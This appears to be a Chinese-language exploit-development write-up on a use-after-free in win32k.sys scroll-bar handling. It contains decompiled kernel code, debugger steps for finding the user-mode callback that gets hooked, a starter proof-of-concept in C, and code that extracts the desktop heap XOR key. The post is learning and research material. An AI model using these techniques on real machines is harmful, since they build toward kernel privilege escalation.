漏洞组件**:win32k.sys**

原理

xxxDrawScrollBar的时候会回到用户态的ClientLoadLibrary,而用户态的程序可以挂钩ClientLoadLibrary,直接把这个pWnd窗口指针释放掉,后面系统没检查这个pWnd->pSBInfo是否还存在就直接往pSBInfo &= 0xFFFFFFF3 导致UAF

bool __fastcall xxxEnableWndSBArrows(tagWND *pWnd, UINT wSBflags, UINT wArrows)
{
  tagSBINFO *pSBInfo; // rbx 滚动条的状态 tagSCROLLBARINFO
  bool v4; // r14
  int tmp_WSBflags; // esi
  HDC DCEx; // r13
  __int64 v11; // rcx
  __int64 v12; // rcx

  pSBInfo = pWnd->pSBInfo;
  v4 = 0;
  if ( pSBInfo )                                // 判断了pSBInfo 是否有效
                                                // 有效的话会把tmp_WSBflags 初始化为pSBInfo 的 WSBflags
                                                // 
  {
    tmp_WSBflags = pSBInfo->WSBflags;
  }
  else
  {
    if ( !wArrows )                             // 这个warrows应该是箭头 如果箭头是0直接返回
                                                // ESB_ENABLE_BOTH 0x0000
                                                // 两个箭头均启用(默认状态)。
      return 0;
    tmp_WSBflags = 0;
    pSBInfo = (tagSBINFO *)InitPwSB();
    if ( !pSBInfo )
      return 0;
  }
  DCEx = (HDC)GetDCEx(pWnd, 0i64, 65537i64);    // 这里会回到用户态 我们HOOK就可以释放
  if ( !DCEx )
    return 0;
  if ( !wSBflags || wSBflags == 3 )             // wSBflags非0 或者 wSBflags 为3
  {
    if ( wArrows )
      // 如果wArrows有效 
      // 设置pSBInfo的WSBflags |= wArrows
      pSBInfo->WSBflags |= wArrows;
    else
      // 否则低两位清0
      pSBInfo->WSBflags &= 0xFFFFFFFC;
    if ( pSBInfo->WSBflags != tmp_WSBflags )    // 这个tmp存的是之前的wsbflags 
                                                // 在这里应该是判断是否和之前的一样
    {
      tmp_WSBflags = pSBInfo->WSBflags;         // 如果不一样就把tmp_WSBflags改成和之前一样
      v4 = 1;                                   // 1 = FALSE
      if ( (pWnd->state & 4) != 0 && (*((_BYTE *)&pWnd->2 + 3) & 0x20) == 0 && (unsigned int)IsVisible(pWnd) )// 判断窗口是否可见
        xxxDrawScrollBar(v11, DCEx, 0);         // xxxDrawScrollBar会回到用户态
                                                // xxxDrawScrollBar->xxxDrawSB2->xxxGetColorObjects->xxxDefWindowProc->xxxLoadUserApiHook->xxLoadHmodIndex->ClientLoadLibrary
    }
    if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 1) != 0 )
      xxxWindowEvent(32778, (_DWORD)pWnd, -6, 1, 1);
    if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 2) != 0 )
      xxxWindowEvent(32778, (_DWORD)pWnd, -6, 5, 1);
  }
  if ( wSBflags == 1 || wSBflags == 3 )         // 重新判断wSBflags 是否1 或者3 
  {
    if ( wArrows )
      pSBInfo->WSBflags |= 4 * wArrows;
    else
      pSBInfo->WSBflags &= 0xFFFFFFF3;          // 这里是漏洞点 从用户态返回没有检查pSBInfo 是否被释放 然后直接写入 导致漏洞
    if ( pSBInfo->WSBflags != tmp_WSBflags )
    {
      v4 = 1;
      if ( (pWnd->state & 2) != 0 && (*((_BYTE *)&pWnd->2 + 3) & 0x20) == 0 && (unsigned int)IsVisible(pWnd) )
        xxxDrawScrollBar(v12, DCEx, 1);
      if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 4) != 0 )
        xxxWindowEvent(32778, (_DWORD)pWnd, -5, 1, 1);
      if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 8) != 0 )
        xxxWindowEvent(32778, (_DWORD)pWnd, -5, 5, 1);
    }
  }
  ReleaseCacheDC(DCEx, 0i64);
  return v4;
}

利用

我选择了Windows 7 x64 SP1 无任何补丁,因为Windows 8 有一些其他的保护措施,新手入门,暂未攻克。

先看一下PEB 我们知道了是调用ClientLoadLibrary 就得去PEB里面找他的地址 然后替换掉

image-20260320234808094

PEB:[0x58] 是内核回调函数表

我用notepad.exe 来看ClientLoadLibrary 在哪

image-20260320235202602

image-20260320235318325

+0x058 KernelCallbackTable : 0x00000000`77389500 Void

KernelCallbackTable地址是0x77389500 这侧面证明了我们可以改KernelCallbackTable 不在内核态地址 在用户态

process /i fffffa80630b3b00

把上下文切到notepad.exe里面

dps 77389500 L50

image-20260320235757174

我们可以看到ClientLoadLibrary是0x77389708 然后我们的开始是0x77389500

0x208 / 8 = 41 所以 Index 为 41

我们就可以先开始写POC了 我们先Hook ClientLoadLibrary

#include <stdio.h>
#include "def.h"

ULONG_PTR OriginalClientLoadLibrary = 0;


void HookClientLoadLibrary() {
    printf("we success hook ClientLoadLibrary!\n");
    return;
}



int main()
{
    GetStockObject(WHITE_BRUSH); //让KernelCallbackTable变得可用
    _PEB* peb = (_PEB*)__readgsqword(0x60);
    VOID* KernelCallbackTable = peb->KernelCallbackTable; //得到KernelCallbackTable地址
    VOID* ClientLoadLibrary = (BYTE*)KernelCallbackTable + (0x41 * 8); // win7 x64 ClientLoadLibrary index 0x41
    printf("ClientLoadLibrary addr = %p\n", ClientLoadLibrary);
    printf("HOOKClientLoadLibrary addr = %p\n", HookClientLoadLibrary);
    getchar();
    
    return 0;
    
}

我们运行看看 是否得到了OriginalClientLoadLibrary的地址

image-20260401194342177

image-20260401194350138

image-20260403144448976

image-20260403144509578

image-20260403144533465

1: kd> dt win32k!tagWnd
   +0x000 head             : _THRDESKHEAD
   +0x028 state            : Uint4B
   +0x028 bHasMeun         : Pos 0, 1 Bit
   +0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
   +0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
   +0x028 bHasCaption      : Pos 3, 1 Bit
   +0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
   +0x028 bMsgBox          : Pos 5, 1 Bit
   +0x028 bActiveFrame     : Pos 6, 1 Bit
   +0x028 bHasSPB          : Pos 7, 1 Bit
   +0x028 bNoNCPaint       : Pos 8, 1 Bit
   +0x028 bSendEraseBackground : Pos 9, 1 Bit
   +0x028 bEraseBackground : Pos 10, 1 Bit
   +0x028 bSendNCPaint     : Pos 11, 1 Bit
   +0x028 bInternalPaint   : Pos 12, 1 Bit
   +0x028 bUpdateDirty     : Pos 13, 1 Bit
   +0x028 bHiddenPopup     : Pos 14, 1 Bit
   +0x028 bForceMenuDraw   : Pos 15, 1 Bit
   +0x028 bDialogWindow    : Pos 16, 1 Bit
   +0x028 bHasCreatestructName : Pos 17, 1 Bit
   +0x028 bServerSideWindowProc : Pos 18, 1 Bit
   +0x028 bAnsiWindowProc  : Pos 19, 1 Bit
   +0x028 bBeingActivated  : Pos 20, 1 Bit
   +0x028 bHasPalette      : Pos 21, 1 Bit
   +0x028 bPaintNotProcessed : Pos 22, 1 Bit
   +0x028 bSyncPaintPending : Pos 23, 1 Bit
   +0x028 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
   +0x028 bRecievedSuspendMsg : Pos 25, 1 Bit
   +0x028 bToggleTopmost   : Pos 26, 1 Bit
   +0x028 bRedrawIfHung    : Pos 27, 1 Bit
   +0x028 bRedrawFrameIfHung : Pos 28, 1 Bit
   +0x028 bAnsiCreator     : Pos 29, 1 Bit
   +0x028 bMaximizesToMonitor : Pos 30, 1 Bit
   +0x028 bDestroyed       : Pos 31, 1 Bit
   +0x02c state2           : Uint4B
   +0x02c bWMPaintSent     : Pos 0, 1 Bit
   +0x02c bEndPaintInvalidate : Pos 1, 1 Bit
   +0x02c bStartPaint      : Pos 2, 1 Bit
   +0x02c bOldUI           : Pos 3, 1 Bit
   +0x02c bHasClientEdge   : Pos 4, 1 Bit
   +0x02c bBottomMost      : Pos 5, 1 Bit
   +0x02c bFullScreen      : Pos 6, 1 Bit
   +0x02c bInDestroy       : Pos 7, 1 Bit
   +0x02c bWin31Compat     : Pos 8, 1 Bit
   +0x02c bWin40Compat     : Pos 9, 1 Bit
   +0x02c bWin50Compat     : Pos 10, 1 Bit
   +0x02c bMaximizeMonitorRegion : Pos 11, 1 Bit
   +0x02c bCloseButtonDown : Pos 12, 1 Bit
   +0x02c bMaximizeButtonDown : Pos 13, 1 Bit
   +0x02c bMinimizeButtonDown : Pos 14, 1 Bit
   +0x02c bHelpButtonDown  : Pos 15, 1 Bit
   +0x02c bScrollBarLineUpBtnDown : Pos 16, 1 Bit
   +0x02c bScrollBarPageUpBtnDown : Pos 17, 1 Bit
   +0x02c bScrollBarPageDownBtnDown : Pos 18, 1 Bit
   +0x02c bScrollBarLineDownBtnDown : Pos 19, 1 Bit
   +0x02c bAnyScrollButtonDown : Pos 20, 1 Bit
   +0x02c bScrollBarVerticalTracking : Pos 21, 1 Bit
   +0x02c bForceNCPaint    : Pos 22, 1 Bit
   +0x02c bForceFullNCPaintClipRgn : Pos 23, 1 Bit
   +0x02c FullScreenMode   : Pos 24, 3 Bits
   +0x02c bCaptionTextTruncated : Pos 27, 1 Bit
   +0x02c bNoMinmaxAnimatedRects : Pos 28, 1 Bit
   +0x02c bSmallIconFromWMQueryDrag : Pos 29, 1 Bit
   +0x02c bShellHookRegistered : Pos 30, 1 Bit
   +0x02c bWMCreateMsgProcessed : Pos 31, 1 Bit
   +0x030 ExStyle          : Uint4B
   +0x030 bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit
   +0x030 bUnused1         : Pos 1, 1 Bit
   +0x030 bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit
   +0x030 bWS_EX_TOPMOST   : Pos 3, 1 Bit
   +0x030 bWS_EX_ACCEPTFILE : Pos 4, 1 Bit
   +0x030 bWS_EX_TRANSPARENT : Pos 5, 1 Bit
   +0x030 bWS_EX_MDICHILD  : Pos 6, 1 Bit
   +0x030 bWS_EX_TOOLWINDOW : Pos 7, 1 Bit
   +0x030 bWS_EX_WINDOWEDGE : Pos 8, 1 Bit
   +0x030 bWS_EX_CLIENTEDGE : Pos 9, 1 Bit
   +0x030 bWS_EX_CONTEXTHELP : Pos 10, 1 Bit
   +0x030 bMakeVisibleWhenUnghosted : Pos 11, 1 Bit
   +0x030 bWS_EX_RIGHT     : Pos 12, 1 Bit
   +0x030 bWS_EX_RTLREADING : Pos 13, 1 Bit
   +0x030 bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit
   +0x030 bUnused2         : Pos 15, 1 Bit
   +0x030 bWS_EX_CONTROLPARENT : Pos 16, 1 Bit
   +0x030 bWS_EX_STATICEDGE : Pos 17, 1 Bit
   +0x030 bWS_EX_APPWINDOW : Pos 18, 1 Bit
   +0x030 bWS_EX_LAYERED   : Pos 19, 1 Bit
   +0x030 bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit
   +0x030 bUnused3         : Pos 21, 1 Bit
   +0x030 bWS_EX_LAYOUTRTL : Pos 22, 1 Bit
   +0x030 bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit
   +0x030 bUnused4         : Pos 24, 1 Bit
   +0x030 bWS_EX_COMPOSITED : Pos 25, 1 Bit
   +0x030 bUIStateActive   : Pos 26, 1 Bit
   +0x030 bWS_EX_NOACTIVATE : Pos 27, 1 Bit
   +0x030 bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit
   +0x030 bRedirected      : Pos 29, 1 Bit
   +0x030 bUIStateKbdAccelHidden : Pos 30, 1 Bit
   +0x030 bUIStateFocusRectHidden : Pos 31, 1 Bit
   +0x034 style            : Uint4B
   +0x034 bReserved1       : Pos 0, 16 Bits
   +0x034 bWS_MAXIMIZEBOX  : Pos 16, 1 Bit
   +0x034 bReserved2       : Pos 0, 16 Bits
   +0x034 bWS_TABSTOP      : Pos 16, 1 Bit
   +0x034 bReserved3       : Pos 0, 16 Bits
   +0x034 bUnused5         : Pos 16, 1 Bit
   +0x034 bWS_MINIMIZEBOX  : Pos 17, 1 Bit
   +0x034 bReserved4       : Pos 0, 16 Bits
   +0x034 bUnused6         : Pos 16, 1 Bit
   +0x034 bWS_GROUP        : Pos 17, 1 Bit
   +0x034 bReserved5       : Pos 0, 16 Bits
   +0x034 bUnused7         : Pos 16, 2 Bits
   +0x034 bWS_THICKFRAME   : Pos 18, 1 Bit
   +0x034 bReserved6       : Pos 0, 16 Bits
   +0x034 bUnused8         : Pos 16, 2 Bits
   +0x034 bWS_SIZEBOX      : Pos 18, 1 Bit
   +0x034 bReserved7       : Pos 0, 16 Bits
   +0x034 bUnused9         : Pos 16, 3 Bits
   +0x034 bWS_SYSMENU      : Pos 19, 1 Bit
   +0x034 bWS_HSCROLL      : Pos 20, 1 Bit
   +0x034 bWS_VSCROLL      : Pos 21, 1 Bit
   +0x034 bWS_DLGFRAME     : Pos 22, 1 Bit
   +0x034 bWS_BORDER       : Pos 23, 1 Bit
   +0x034 bMaximized       : Pos 24, 1 Bit
   +0x034 bWS_CLIPCHILDREN : Pos 25, 1 Bit
   +0x034 bWS_CLIPSIBLINGS : Pos 26, 1 Bit
   +0x034 bDisabled        : Pos 27, 1 Bit
   +0x034 bVisible         : Pos 28, 1 Bit
   +0x034 bMinimized       : Pos 29, 1 Bit
   +0x034 bWS_CHILD        : Pos 30, 1 Bit
   +0x034 bWS_POPUP        : Pos 31, 1 Bit
   +0x038 hModule          : Ptr64 Void
   +0x040 hMod16           : Uint2B
   +0x042 fnid             : Uint2B
   +0x048 spwndNext        : Ptr64 tagWND
   +0x050 spwndPrev        : Ptr64 tagWND
   +0x058 spwndParent      : Ptr64 tagWND
   +0x060 spwndChild       : Ptr64 tagWND
   +0x068 spwndOwner       : Ptr64 tagWND
   +0x070 rcWindow         : tagRECT
   +0x080 rcClient         : tagRECT
   +0x090 lpfnWndProc      : Ptr64     int64 
   +0x098 pcls             : Ptr64 tagCLS
   +0x0a0 hrgnUpdate       : Ptr64 HRGN__
   +0x0a8 ppropList        : Ptr64 tagPROPLIST
   +0x0b0 pSBInfo          : Ptr64 tagSBINFO
   +0x0b8 spmenuSys        : Ptr64 tagMENU
   +0x0c0 spmenu           : Ptr64 tagMENU
   +0x0c8 hrgnClip         : Ptr64 HRGN__
   +0x0d0 hrgnNewFrame     : Ptr64 HRGN__
   +0x0d8 strName          : _LARGE_UNICODE_STRING
   +0x0e8 cbwndExtra       : Int4B
   +0x0f0 spwndLastActive  : Ptr64 tagWND
   +0x0f8 hImc             : Ptr64 HIMC__
   +0x100 dwUserData       : Uint8B
   +0x108 pActCtx          : Ptr64 _ACTIVATION_CONTEXT
   +0x110 pTransform       : Ptr64 _D3DMATRIX
   +0x118 spwndClipboardListenerNext : Ptr64 tagWND
   +0x120 ExStyle2         : Uint4B
   +0x120 bClipboardListener : Pos 0, 1 Bit
   +0x120 bLayeredInvalidate : Pos 1, 1 Bit
   +0x120 bRedirectedForPrint : Pos 2, 1 Bit
   +0x120 bLinked          : Pos 3, 1 Bit
   +0x120 bLayeredForDWM   : Pos 4, 1 Bit
   +0x120 bLayeredLimbo    : Pos 5, 1 Bit
   +0x120 bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit
   +0x120 bVerticallyMaximizedLeft : Pos 7, 1 Bit
   +0x120 bVerticallyMaximizedRight : Pos 8, 1 Bit
   +0x120 bHasOverlay      : Pos 9, 1 Bit
   +0x120 bConsoleWindow   : Pos 10, 1 Bit
   +0x120 bChildNoActivate : Pos 11, 1 Bit
1: kd> dt win32k!tagPROPLIST -r
   +0x000 cEntries         : Uint4B
   +0x004 iFirstFree       : Uint4B
   +0x008 aprop            : [1] tagPROP
      +0x000 hData            : Ptr64 Void
      +0x008 atomKey          : Uint2B
      +0x00a fs               : Uint2B
1: kd> dt tagSBINFO -r
win32k!tagSBINFO
   +0x000 WSBflags         : Int4B
   +0x004 Horz             : tagSBDATA
      +0x000 posMin           : Int4B
      +0x004 posMax           : Int4B
      +0x008 page             : Int4B
      +0x00c pos              : Int4B
   +0x014 Vert             : tagSBDATA
      +0x000 posMin           : Int4B
      +0x004 posMax           : Int4B
      +0x008 page             : Int4B
      +0x00c pos              : Int4B

Desktop Cookie加密

在Windows8.1以后存在HEAP_ENTRY加密,需要找到key解密

桌面堆是专属于窗口的堆,所以我们需要创建窗口后才能找到桌面堆,否则是找不到的。

BOOL GetDesktopHeapCookie()
{
     /*
     * 从0x1000 开始扫每一页 如果页是READONLY 然后类型是MEM_MAPPED 然后State是MEM_COMMIT 
     * 就可能是桌面堆 然后检查0x10 offset SegmentSignature 是否是0xffeeffee 如果是就提取0x80的xorkey
     */
    _TEB64* _teb = (_TEB64*)NtCurrentTeb();
    ULONG_PTR deltaDHeap = *(ULONG_PTR*)((BYTE*)(_teb->Win32ClientInfo) + 0x28);
    PSHAREDINFO pSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandleA("USER32.dll"), "gSharedInfo");
    MEMORY_BASIC_INFORMATION MemInfo = { 0 };
    BYTE* Addr = (BYTE*)0x1000;
    ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
    

    while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
    {
        if (MemInfo.Protect == PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
        {
            if (*(UINT*)((BYTE*)MemInfo.BaseAddress + 0x10) == 0xffeeffee)
            {
                if (*(ULONG_PTR*)((BYTE*)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE*)MemInfo.BaseAddress + deltaDHeap))
                {
                    xorKey.append((CHAR*)((BYTE*)MemInfo.BaseAddress + 0x80), 16);
                    return TRUE;
                }
            }
        }
        Addr += MemInfo.RegionSize;
    }

    return FALSE;
}